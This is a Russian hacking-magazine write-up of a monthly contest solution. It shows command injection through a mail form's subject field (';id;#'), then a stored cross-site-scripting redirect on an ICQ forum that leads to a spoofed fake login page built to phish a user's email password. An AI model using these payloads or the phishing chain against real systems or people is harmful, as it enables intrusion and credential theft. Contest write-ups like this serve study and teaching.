Х-конкурс eto’o Хакер, номер #083, стр. 083-080-1 Пора подводить итоги прошедшего месяца, приятель. К сожалению, тогда получился облом с рутанием unix-сервера и эту затею мы были вынуждены ненадолго отложить. В октябрьском конкурсе тебе необходимо было похакать незадачливых барыг, которые предоставляют VPN-сервис. В качестве начальной мишени атаки выступал сайт www.padonak.ru, на котором находилась страничка с формой обратной связи для пользователей сервиса. Как несложно догадаться, все сообщения, вбиваемые в эту форму, либо записываются в базу данных, либо отправляются на мыло. Ввод разнообразных комбинаций кавычек, ключевых слов и символов sql-комментариев ни к чему не привел, в результате чего должна была задориться мысль, что, либо все данные фильтруются, либо сообщение просто отправляется на мыло и все твои кавычки никого не тревожат. Первый вариант не рассматривается, поскольку скрипт в нашем конкурсе по определению бажный. Баг был на самой поверхности: e-mail сообщение почему-то отсылается при помощи вызова программы mail через функцию system(). Поскольку баклан-программист при этом решил не фильтровать ни единого символа, сценарий получился просто находкой для таких, как ты. Перебрав все комбинации, легко было найти нужную: в поле «Тема» надо было вбить что-то вроде ;id;#. Здесь id – это выполняемая команда. Смотри, что при этом происходит. Мыло отправляется таким образом: echo ‘$message’|mail –s $subject blah@xakep.ru Несложно понять, какая выполнится команда, если вместо $subject вставить указанную выше последовательность символов. Некоторые люди, которые проходили конкурс, зачем-то на этом этапе заливали web-шелл; некоторые бакланы вообще удаляли весь сайт. А делать надо было следующее: получить из бажного сценария мыло, по которому отправляются данные, и попробовать его поломать. Сделав cat index.php ты бы легко узнал, что все данные из формы летят на мыло homsa.toft@gmail.com. Поломать это мыло – вот основная задача. Вбив его в icq-поиске, можно было найти нужный контакт. И info этого юзера было прямым текстом написано, что он читает все сообщения в борде www.icq.com/boards/browse_folder.php?tid=8085 и любит пофлеймить. Вполне, на мой взгляд, логично, что надо найти дырку в этом форуме и через нее утащить пароль. Это вот никто довольно долго сделать не мог, хотя баг был, опять-таки, на самой поверхности. Стоило только при создании темы вбить любой тег, как сразу становилось понятно, что этот форум подвержен CSS-багу. Подробности этой уязвимости и историю ее обнаружения тебе лучше почитать в статье в этом номере, я расскажу только, что надо было сделать. Необходимо было создать тему, при заходе в которую происходит редирект на поддельную страницу авторизации на форуме, размещенную на левом хосте. Что-то вроде того: <script>location.href='http://xakep.ru/lo.php'</script> Еще надо было заспуфить этот реальный адрес, хотя бы таким образом: www.icq.com/lala(побольше символов)/login.php@xakep.ru/lo.php Доверчивый Федя прочел бы твое сообщение и без проблем ввел бы свой пароль в левую форму, после чего в твои руки попал бы пароль к его почте, где находилось письмо с информацией о VPN-аккаунте, который выступал в роли приза за прохождение этого конкурса. |